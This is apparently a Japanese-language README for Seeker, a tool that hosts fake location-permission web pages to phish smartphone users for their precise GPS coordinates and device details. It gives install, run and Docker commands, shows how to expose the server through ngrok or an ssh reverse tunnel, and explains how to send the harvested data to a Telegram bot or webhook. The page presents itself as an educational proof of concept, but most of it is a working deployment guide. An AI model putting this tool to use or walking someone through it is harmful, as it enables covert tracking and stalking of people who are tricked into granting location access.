
ソーシャルエンジニアリングを用いてスマートフォンを正確に位置特定する

利用可能な言語
Seeker の背後にあるコンセプトはシンプルです。フィッシングページをホストして認証情報を取得するのと同じように、多くの人気のある位置情報ベースのWebサイトのように、位置情報を要求する偽のページをホストします。詳細は thewhiteh4t's ブログ をご覧ください。Seeker は、位置情報の許可を求める偽のWebサイトをホストし、ターゲットが許可すると以下を取得できます:
位置情報とともに、デバイス情報も権限なしで取得できます:
上記の情報を受け取った後、自動IPアドレス偵察が実行されます。
このツールはProof of Conceptであり、教育目的のみに使用されます。Seekerは、悪意のあるWebサイトがあなたとあなたのデバイスについてどのようなデータを収集できるか、そしてなぜランダムなリンクをクリックし、位置情報などの重要な許可を許可してはいけないかを示しています。
利用可能なテンプレート:
独自のテンプレートを作成しましょう! テンプレート作成手順はこの how-to に記載されています。
テンプレートが完成したら、PR(プルリクエスト)を介してコミュニティに提案することを忘れないでください。
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod +x install.sh
./install.sh
sudo pacman -S seeker
docker pull thewhiteh4t/seeker
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
python3 seeker.py
トンネルモードで実行するには、ターミナルで以下のコマンドを実行してngrokをインストールします:
brew install ngrok/ngrok/ngrok
ngrok http 8080
python3 seeker.py -h
usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE] [-d] [--telegram token:chatId] [--webhook WEBHOOK]
options:
-h, --help show this help message and exit
-k KML, --kml KML KML filename
-p PORT, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t TEMPLATE, --template TEMPLATE Auto choose the template with the given index
-d, --debugHTTP Disable auto http --> https redirection for testing purposes
(only works for the templates having index_temp.html file)
--telegram Send info to a telegram bot, provide telegram token and chat to use
format = token:chatId separated by a colon
--webhook Send events to a webhook endpoint to be processed
Note : endpoint must be unauthenticated and accept POST request
#########################
# Environment Variables #
#########################
Some of the options above can also be enabled via environment variables, to ease deployment.
Other parameters can be provided via environment variables to avoid interactive mode.
Variables:
DEBUG_HTTP Same as -d, --debugHTTP
PORT Same as -p, --port
TEMPLATE Same as -t, --template
TITLE Provide the group title or the page title
REDIRECT Provide the URL to redirect the user to, after the job is done
IMAGE Provide the image to use, can either be remote (http or https) or local
Note : Remote image will be downloaded locally during the startup
DESC Provide the description of the item (group or webpage depending on the template)
SITENAME Provide the name of the website
DISPLAY_URL Provide the URL to display on the page
MEM_NUM Provide the number of group membres (Telegram so far)
ONLINE_NUM Provide the number of the group online members (Telegram so far)
TELEGRAM Provide telegram token and chat to use to send info to a telegram bot
format = token:chatId separated by a colon
WEBHOOK Provide the webhook url to forward the events to
Note : endpoint should be unauthenticated and accept POST method
##################
# Usage Examples #
##################
# Step 1 : In first terminal
$ python3 seeker.py
# Step 2 : In second terminal start a tunnel service such as ngrok
$ ./ngrok http 8080
###########
# Options #
###########
# Ouput KML File for Google Earth
$ python3 seeker.py -k <filename>
# Use Custom Port
$ python3 seeker.py -p 1337
$ ./ngrok http 1337
# Pre-select a specific template
$ python3 seeker.py -t 1
################
# Docker Usage #
################
# Step 1
$ docker network create ngroknet
# Step 2
$ docker run --rm -it --net ngroknet --name seeker thewhiteh4t/seeker
# Step 3
$ docker run --rm -it --net ngroknet --name ngrok wernight/ngrok ngrok http seeker:8080
以下のコマンドをngrokの代替として使用:
ssh -R 80:localhost:8080 [email protected]
YouTube